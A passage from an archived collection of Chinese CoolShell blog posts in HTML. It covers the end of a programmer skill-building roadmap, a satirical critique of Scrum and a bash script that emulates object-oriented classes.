href=\"http://product.china-pub.com/197212\">Java解惑</a>》</li>\n<li>学习Java的框架，Java的框架也是多，如Spring, Hibernate，Struts 等等，主要是学习Java的设计，如IoC等。</li>\n<li>Java的技术也是烂多，重点学习J2EE架构以及JMS， RMI, 等消息传递和远程调用的技术。</li>\n<li>学习使用Java做Web Service （<a href=\"http://download.oracle.com/docs/cd/E17802_01/webservices/webservices/docs/2.0/tutorial/doc/\" rel=\"noopener\" target=\"_blank\">官方教程在这里</a>）</li>\n<li><strong>实践任务： </strong>尝试在Spring或Hibernate框架下构建一个有网络的Web Service的远程调用程序，并可以在两个Service中通过JMS传递消息。</li>\n</ul>\n<p>C++和Java都不是能在短时间内能学好的，C++玩是的深，Java玩的是广，我建议两者选一个。我个人的学习经历是：</p>\n<ul>\n<li>深究C++（我深究C/C++了十来年了）</li>\n<li>学习Java的各种设计模式。</li>\n</ul>\n<p><strong>2、加强系统了解</strong></p>\n<p>重要阅读下面的几本书：</p>\n<ul>\n<li>《<a href=\"http://product.china-pub.com/197413\" rel=\"noopener\" target=\"_blank\">Unix编程艺术</a>》了解Unix系统领域中的设计和开发哲学、思想文化体系、原则与经验。你一定会有一种醍醐灌顶的感觉。</li>\n<li>《<a href=\"http://product.china-pub.com/196770\" rel=\"noopener\" target=\"_blank\">Unix网络编程卷1，套接字</a>》这是一本看完你就明白网络编程的书。重要注意TCP、UDP，以及多路复用的系统调用select/poll/epoll的差别。</li>\n<li>《<a href=\"http://product.china-pub.com/35\" rel=\"noopener\" target=\"_blank\">TCP/IP详解 卷1:协议</a>》- 这是一本看完后你就可以当网络黑客的书。了解以太网的的运作原理，了解TCP/IP的协议，运作原理以及如何TCP的调优。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>理解什么是阻塞（同步IO），非阻塞（异步IO），多路复用（select, poll, epoll）的IO技术。</li>\n<li>写一个网络聊天程序，有聊天服务器和多个聊天客户端（服务端用UDP对部分或所有的的聊天客户端进Multicast或Broadcast）。</li>\n<li>写一个简易的HTTP服务器。</li>\n</ul>\n</li>\n<li>《<a href=\"http://product.china-pub.com/196859\" rel=\"noopener\" target=\"_blank\">Unix网络编程卷2，进程间通信</a>》信号量，管道，共享内存，消息等各种IPC…… 这些技术好像有点老掉牙了，不过还是值得了解。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>主要实践各种IPC进程序通信的方法。</li>\n<li>尝试写一个管道程序，父子进程通过管道交换数据。</li>\n<li>尝试写一个共享内存的程序，两个进程通过共享内存交换一个C的结构体数组。</li>\n</ul>\n</li>\n<li>学习《<a href=\"http://product.china-pub.com/209058\" rel=\"noopener\" target=\"_blank\">Windows核心编程</a>》一书。把CreateProcess，Windows线程、线程调度、线程同步（Event,  信号量，互斥量）、异步I/O，内存管理，DLL，这几大块搞精通。</li>\n<li><strong>实践任务：</strong>使用CreateProcess启动一个记事本或IE，并监控该程序的运行。把前面写过的那个简易的HTTP服务用线程池实现一下。写一个DLL的钩子程序监控指定窗口的关闭事件，或是记录某个窗口的按键。</li>\n<li>有了多线程、多进程通信，TCP/IP，套接字，C++和设计模式的基本，你可以研究一下ACE了。使用ACE重写上述的聊天程序和HTTP服务器（带线程池）</li>\n<li><strong>实践任务：</strong>通过以上的所有知识，尝试\n<ul>\n<li>写一个服务端给客户端传大文件，要求把100M的带宽用到80%以上。（注意，磁盘I/O和网络I/O可能会很有问题，想一想怎么解决，另外，请注意网络传输最大单元MTU）</li>\n<li>了解BT下载的工作原理，用多进程的方式模拟BT下载的原理。</li>\n</ul>\n</li>\n</ul>\n<p><strong>3、系统架构</strong></p>\n<ul>\n<li>负载均衡。HASH式的，纯动态式的。（可以到Google学术里搜一些<a href=\"http://scholar.google.com.hk/scholar?q=%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1&amp;hl=zh-CN&amp;as_sdt=0&amp;as_vis=1&amp;oi=scholart\" rel=\"noopener\" target=\"_blank\">关于负载均衡的文章</a>读读）</li>\n<li>多层分布式系统 – 客户端服务结点层、计算结点层、数据cache层，数据层。J2EE是经典的多层结构。</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Content_delivery_network\" rel=\"noopener\" target=\"_blank\">CDN系统</a> – 就近访问，内容边缘化。</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Peer-to-peer\" rel=\"noopener\" target=\"_blank\">P2P式系统</a>，研究一下BT和电驴的算法。比如：<a href=\"http://en.wikipedia.org/wiki/Distributed_hash_table\" rel=\"noopener\" target=\"_blank\">DHT算法</a>。</li>\n<li>服务器备份，双机备份系统（Live-Standby和Live-Live系统），两台机器如何通过心跳监测对方？集群主结点备份。</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Virtualization\" rel=\"noopener\" target=\"_blank\">虚拟化技术</a>，使用这个技术，可以把操作系统当应用程序一下切换或重新配置和部署。</li>\n<li>学习<a href=\"http://thrift.apache.org/\" rel=\"noopener\" target=\"_blank\">Thrift</a>，二进制的高性能的通讯中间件，支持数据(对象)序列化和多种类型的RPC服务。</li>\n<li>学习<a href=\"http://hadoop.apache.org/\" rel=\"noopener\" target=\"_blank\">Hadoop</a>。Hadoop框架中最核心的设计就是：MapReduce和HDFS。MapReduce的思想是由Google的一篇论文所提及而被广为流传的，简单的一句话解释MapReduce就是“任务的分解与结果的汇总”。HDFS是Hadoop分布式文件系统（Hadoop Distributed File System）的缩写，为分布式计算存储提供了底层支持。</li>\n<li>了解<a href=\"http://en.wikipedia.org/wiki/NoSQL\" rel=\"noopener\" target=\"_blank\">NoSQL数据库</a>（有人说可能是一个<a href=\"https://coolshell.cn/articles/3609.html\" rel=\"noopener\" target=\"_blank\" title=\"那些炒作过度的技术和概念\">过渡炒作的技术</a>），不过因为超大规模以及高并发的纯动态型网站日渐成为主流，而SNS类网站在数据存取过程中有着实时性等刚性需求，这使得目前NoSQL数据库慢慢成了人们所关注的焦点，并大有成为取代关系型数据库而成为未来主流数据存储模式的趋势。当前NoSQL数据库很多，大部分都是开源的，其中比较知名的有：MemcacheDB、Redis、Tokyo Cabinet(升级版为Kyoto Cabinet)、Flare、MongoDB、CouchDB、Cassandra、Voldemort等。</li>\n</ul>\n<p>写了那么多，回顾一下，觉得自己相当的有成就感。希望大家不要吓着，我自己这十来年也在不断地学习，今天我也在学习中，人生本来就是一个不断学习和练级的过程。<strong>不过，一定有漏的，也有不对的，还希望大家补充和更正</strong>。（<span style=\"color: #cc0000;\"><strong>我会根据大家的反馈随时更新此文</strong></span>）欢迎大家通过我的微博（<a href=\"http://weibo.com/haoel\" rel=\"noopener\" target=\"_blank\">@左耳朵耗子</a>）和twitter（@<a href=\"http://twitter.com/haoel\" rel=\"noopener\" target=\"_blank\">haoel</a>）和我交流。</p>\n<p><em><strong>—– 更新  2011/07/19 —–</strong></em></p>\n<p>1）有朋友奇怪为什么我在这篇文章开头说了web+移动，却没有在后面提到iOS/Android的前端开发。因为我心里有一种感觉，移动设备上的UI最终也会被Javascript取代。大家可以用iPhone或Android看看google+，你就会明白了。</p>\n<p>2）有朋友说我这里的东西太多了，不能为了学习而学习，我非常同意。我在文章的前面也说了要思考。另外，千万不要以为我说的这些东西是一些新的技术，这份攻略里95%以上的全是基础。而且都是久经考验的基础技术。即是可以让你一通百通的技术，也是可以让你找到一份不错工作的技术。</p>\n<p>3）有朋友说学这些东西学完都40了，还不如想想怎么去挣钱。我想告诉大家，一是我今年还没有40岁，二是学无止境啊，三是我不觉得挣钱有多难，难的是怎么让你值那么多钱？无论是打工还是创业，是什么东西让你自己的价值，让你公司的价值更值钱？别的地方我不敢说，对于互联网或IT公司来说，技术实力绝对是其中之一。</p>\n<p>4）有朋友说技术都是工具，不应该如此痴迷这句话没有错，有时候我们需要更多的是抬起头来看看技术以外的事情，或者是说我们在作技术的时候不去思考为什么会有这个技术，为什么不是别的，问题不在于技术，问题在于我们死读书，读死书，成了技术的书呆子。</p>\n<p>5） 对于NoSQL，最近比较火，但我对其有点保守，所以，我只是说了解就可以。对于Hadoop，我觉得其在分布式系统上有巨大的潜力，所以需要学习。 对于关系型数据库，的确是很重要的东西，这点是我的疏忽，在原文里补充。</p>\n<p>（全文完）</p>\n<hr/>\n<p><strong><span style=\"color: #cc0000; font-size: 16pt;\">注：该文最新的版本在这里</span>《<a href=\"https://coolshell.cn/articles/18360.html\" style=\"font-size: 16pt;\">程序员技术练级攻略（2018版）</a>》<span style=\"color: #cc0000; font-size: 16pt;\">（需要付费阅读）</span></strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1992.html\"><img alt=\"程序员眼中的编程语言\" height=\"150\" src=\"../wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1992.html\">程序员眼中的编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-7-21 为什么Scrum不行？.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-21319 size-thumbnail\" height=\"150\" src=\"../wp-content/uploads/2011/07/hat-150x150.jpeg\" width=\"150\"/>这篇文章的原文在这里（<a href=\"http://maurits.wordpress.com/2011/07/13/why-scrum-will-never-work/\" rel=\"noopener\" target=\"_blank\" title=\"Why Scrum will never work\">原文链接</a>）（<strong>下文不是全译，也不是部分译，我只是把其总结，有我自己的发挥，但是原意大致不变</strong>），这篇文章完全是在调侃Scrum的，作者第一段就是一个免费声明，其说他是<a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a>和其它敏捷方法的big fan， 他也认为Scrum 100% 对 软件开发可行。作者使用Scrum 5年了，也公开作过几次敏捷的分享会。他觉得写这篇文章只是为了好玩，因为他们戴上<a href=\"http://en.wikipedia.org/wiki/Edward_de_Bono\">Edward de Bono</a> 的 <a href=\"http://en.wikipedia.org/wiki/Six_Thinking_Hats#Black_hat_.E2.80.93_Being_Cautious\">black hat</a> （黑礼帽 – 是6个思考之帽中的一种——负面思考，思考事物的负面因素，这样才知道：它会起作用吗？缺点是什么？它有什么问题？为什么不能做。）</p>\n<p>因为本人经常站在Agile的风口浪尖，所以我有必要也来一个“免责声明”。Shit！其实我想来的是“<strong>不免责声明</strong>” ——<strong>下文中的九大原因是对中国的各种Agile实践者咨询师不注重实际只重方法论的批判</strong>，<strong>本人必然要和那种只以流程方法论为中心的软件开发斗争到底</strong>。其实我没有那么嚣张，<strong><span style=\"color: #ff0000;\">我只是想说，下面的这些东西相当的现实。</span><span style=\"color: #ff0000;\">希望各种Scrum的实践者们认识到这些问题，从而可以让你们明白软件开发中的人的重要性</span></strong>。</p>\n<p><strong>Reason 1</strong>:  <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> 的基石是相信人。创造一个安全的环境，这样每个人都能相互学习，相互直言。但是，这是不行的，这世上有很多人并不关心这些，而且政治和竞争到处都是，办公室里无小事，你和别人交心，你相信他们，最终受伤的你自己。你真的以为那里有空间让你可以去犯错，去冒险吗？别天真了！你啊，too young, too simple, sometimes naive!</p>\n<p><strong>Reason 2</strong>: <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> 认为只要给员工足够多的自由员工就能做得最好。这该死是理论是基于什么玩意？不可能，人的天性是懒惰的，他们才不会把事做好的，他们只会做相应报酬的工作量，还可能基本还达不到其相应的报酬，大多数人都在混日子啊。尤其是和经理比起来，谁不想能尽快地成为经理或Team leader啊，因为那样他们就可以即不干活，又挣得多。另外，你给他们自由，你就会发现，他们会只会做他们感兴趣的事，要么聊QQ，要么打游戏，看闲书，反正不干正事。直到你催了，他们才动一动。</p>\n<p><span id=\"more-5044\"></span></p>\n<p><strong>Reason 3</strong>: 因为前面的原因，所以，我们仍然要把一个PM放在Scrum团队的上面做管理，这样才会有产出。于是，PM给团队分配任何，管得细枝末节，事无巨细，天天让你做进度汇报，等等。直至把团队拖垮。</p>\n<p><strong>Reason 4</strong>: <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> 只不过是一个流程。这世上有太多的流程，尤其是那那些操CMMi的公司。几乎所有玩CMMi流程的公司，你都能看到的是员工都是那一副副苦逼的脸。所以，Scrum的流程同样会这样。因为这些都不是开发团队自发出来的，而是上面管你喜欢不喜欢按给你的。 Scrum 根本不可能增进你的软件质量和技术，只能是优秀的人才才可能！使用Scrum的公司都是些吝啬鬼，他们不愿花大钱招优秀的人，他们妄图使用Scrum这种东西让现有的这些廉价劳动力发挥更大的生产效率，Scrum成了push程序员最有用的工具。</p>\n<p><strong>Reason 5</strong>: <a href=\"http://en.wikipedia.org/wiki/Scrum_(development)\">Scrum</a> delivers ‘business value’。不是这样的，实际上，Scrum不可能。这有很多原因。真正了解业务的那帮人根本不可能加入项目团队，那些人谁TMD愿意和苦逼的技术人员加班啊。 那些人喜欢和我们的用户吃吃喝喝，花天酒地的，根本不会和你们那些奇怪的东西（如：backlog）或是那堆ugly的内向古怪的技术人员打交道，更别说什么技术了。所以，你的团队就像一个客服团队或救火队一样疲于奔命。</p>\n<p><strong>Reason 6</strong>: 一个敏捷的团队应该是持续进步的。这就是为什么Scrum总是在问什么干得好，什么需要改进，并定义行动方案。你真的以为员工想进步吗？让他们不得不去想想自己和团队怎么进步，然后他们还不得不去执行行动方案。别天真了，人的天性是不喜欢改变的，人的天性是习惯于一些按部就般的事的，也许那样做令人讨厌，但是人家还是能干点东西出来。如果你逼着人家改变，你就是在压迫人家，人家自然会反抗。</p>\n<p><strong>Reason 7</strong>: Product Owner 专注于 ‘what’ 和 ‘why’ 的问题，开发团队决定 ‘how’。很不错的分工，于是可以造就一个即高速有重质量的团队。然而，这根本不行。你的Product Owner马上就想要这个功能，他才不管你的软件开发的技术难题，人家只要快，要你meet deadline，要你给我们重要的客户做出承诺。另外，你千万不要以为你们可以哄走这个初级的product owner，因为他的后台是直接汇报到高层管理。你作为一个程序员可能只是其个小部门的一个小喽啰，或者只是外包公司，你觉得可能吗？你觉得建立信任可能吗？</p>\n<p><strong>Reason 8</strong>: 软件质量和生产率成正比。也就是说，质量越高，生产率越高。如果质量不高，你开发效率就会低下，但是谁管呢？我们朝九晚五的上班，质量好了也是做8小时，质量差了也是做8小时，无所为嘛。另外，我们的 project manager (或者是Scrum master!) 总是会批评我们没有按计划完成。所以，这根本 不可能。</p>\n<p><strong>Reason 9</strong>: “是的，如果我们只做需要的功能，那么我们就会最低的成本，对吗？”，为什么这世上总是会有这些幼稚的人？这种事怎么可能啊。很多很多的银行或保险公司的项目在你还没有启动项目前就谈好了一个价格（可能还会有回扣），为了打单子，销售什么都干得出来，让你去做项目是因为你是廉价劳动力，而且，他们会不断地加需求，因为软件合同谈好的价格时候，连需求都没有，你去做了才有，还是模糊和不确定或根本就是错的，然后需求是越来越多，越改越多。等你精疲力尽的时候，你才意识到，销售早就把你卖了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-21320\" height=\"171\" src=\"../wp-content/uploads/2011/07/dilberttrust.gif\" width=\"550\"/></p>\n<p>爽啊，戴着黑礼帽思考问题比我想像中的要有趣得多，现在我必需要把它摘下来了。</p>\n<p><strong>看完这篇文章，你觉得是人的问题还是软件开发方法的问题？</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8209.html\"><img alt=\"“单元测试要做多细？”\" height=\"150\" src=\"../wp-content/uploads/2012/09/fight-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8209.html\">“单元测试要做多细？”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5531.html\"><img alt=\"Test-Driven Development？别逗了\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5625.html\"><img alt=\"“品质在于构建过程”吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4891.html\"><img alt=\"Bob大叔和Jim Coplien对TDD的论战\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4891.html\">Bob大叔和Jim Coplien对TDD的论战</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-7-21 面向对象的Shell脚本.html",
    "content": "<html><body><p>还记得以前那个用<a href=\"https://coolshell.cn/articles/2704.html\" target=\"_blank\" title=\"检查素数的正则表达式\">算素数的正则表达式</a>吗？编程这个世界太有趣了，总是能看到一些即别出心裁的东西。你有没有想过在写Shell脚本的时候可以把你的变量和函数放到一个类中？不要以为这不可能，这不，我在<a href=\"http://lab.madscience.nl/oo.sh.txt\" target=\"_blank\">网上</a>又看到了一个把Shell脚本整成面向对象的东西。Shell本来是不支持的，需要自己做点东西，能搞出这个事事的人真的是hacker啊。</p>\n<p>当然，这里并不是真正的面向对象，因为其只是封装罢了，还没有支持继承和多态。最变态的是他居然还支持typeid，靠！</p>\n<p>下面让我们看看他是怎么来做的。下面的脚本可能会有点费解。本想解释一下，后来想想，还是大家自己专研一下吧，其实看懂也不难，给大家提几个点吧。</p>\n<ol>\n<li>我们可以看到，下面的这个脚本定义了class,  func, var, new 等函数，其实这些就是所谓的关键字。</li>\n<li>class是一个函数，主要是记录类名。</li>\n<li>func和var实际上是把成员函数名和成员变量记成有相同前缀的各种变量。</li>\n<li>new方法主要是记录实例。大家重点看看new函数里的那个for循环，最核心的就在那里了。</li>\n</ol>\n<div>脚本如下所示：</div>\n<div><span id=\"more-5035\"></span></div>\n<pre class=\"EnlighterJSRAW\">#!/bin/bash\n\n# -------------------------------------------------------------------\n# OO support functions\n# Kludged by Pim van Riezen &lt;pi@madscience.nl&gt;\n# -------------------------------------------------------------------\nDEFCLASS=\"\"\nCLASS=\"\"\nTHIS=0\n\nclass() {\n  DEFCLASS=\"$1\"\n  eval CLASS_${DEFCLASS}_VARS=\"\"\n  eval CLASS_${DEFCLASS}_FUNCTIONS=\"\"\n}\n\nstatic() {\n  return 0\n}\n\nfunc() {\n  local varname=\"CLASS_${DEFCLASS}_FUNCTIONS\"\n  eval \"$varname=\\\"\\${$varname}$1 \\\"\"\n}\n\nvar() {\n  local varname=\"CLASS_${DEFCLASS}_VARS\"\n  eval $varname=\"\\\"\\${$varname}$1 \\\"\"\n}\n\nloadvar() {\n  eval \"varlist=\\\"\\$CLASS_${CLASS}_VARS\\\"\"\n  for var in $varlist; do\n    eval \"$var=\\\"\\$INSTANCE_${THIS}_$var\\\"\"\n  done\n}\n\nloadfunc() {\n  eval \"funclist=\\\"\\$CLASS_${CLASS}_FUNCTIONS\\\"\"\n  for func in $funclist; do\n    eval \"${func}() { ${CLASS}::${func} \\\"\\$*\\\"; return \\$?; }\"\n  done\n}\n\nsavevar() {\n  eval \"varlist=\\\"\\$CLASS_${CLASS}_VARS\\\"\"\n  for var in $varlist; do\n    eval \"INSTANCE_${THIS}_$var=\\\"\\$$var\\\"\"\n  done\n}\n\ntypeof() {\n  eval echo \\$TYPEOF_$1\n}\n\nnew() {\n  local\n  local cvar=\"$2\"\n  shift\n  shift\n  local id=$(uuidgen | tr A-F a-f | sed -e \"s/-//g\")\n  eval TYPEOF_${id}=$class\n  eval $cvar=$id\n  local funclist\n  eval \"funclist=\\\"\\$CLASS_${class}_FUNCTIONS\\\"\"\n  for func in $funclist; do\n    eval \"${cvar}.${func}() {\n      local t=\\$THIS; THIS=$id; local c=\\$CLASS; CLASS=$class; loadvar;\n      loadfunc; ${class}::${func} \\\"\\$*\\\"; rt=\\$?; savevar; CLASS=\\$c;\n      THIS=\\$t; return $rt;\n    }\"\n\n  done\n  eval \"${cvar}.${class} \\\"\\$*\\\" || true\"\n}</pre>\n<p>下面，让我们来看看例程吧。</p>\n<pre class=\"EnlighterJSRAW\"># -------------------------------------------------------------------\n# Example code\n# -------------------------------------------------------------------\n\n# class definition\nclass Storpel\n  func Storpel\n  func setName\n  func setQuality\n  func print\n  var name\n  var quality\n\n# class implementation\nStorpel::Storpel() {\n  setName \"$1\"\n  setQuality \"$2\"\n  if [ -z \"$name\" ]; then setName \"Generic\"; fi\n  if [ -z \"$quality\" ]; then setQuality \"Normal\"; fi\n}\n\nStorpel::setName() { name=\"$1\"; }\nStorpel::setQuality() { quality=\"$1\"; }\nStorpel::print() { echo \"$name ($quality)\"; }\n\n# usage\nnew Storpel one \"Storpilator 1000\" Medium\nnew Storpel two\nnew Storpel three\n\ntwo.setName \"Storpilator 2000\"\ntwo.setQuality \"Strong\"\n\none.print\ntwo.print\nthree.print\n\necho \"\"\n\necho \"one: $one ($(typeof $one))\"\necho \"two: $two ($(typeof $two))\"\necho \"three: $three ($(typeof $two))\"</pre>\n<p> </p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5035.html\">面向对象的Shell脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-7-4 Quora使用到的技术.html",
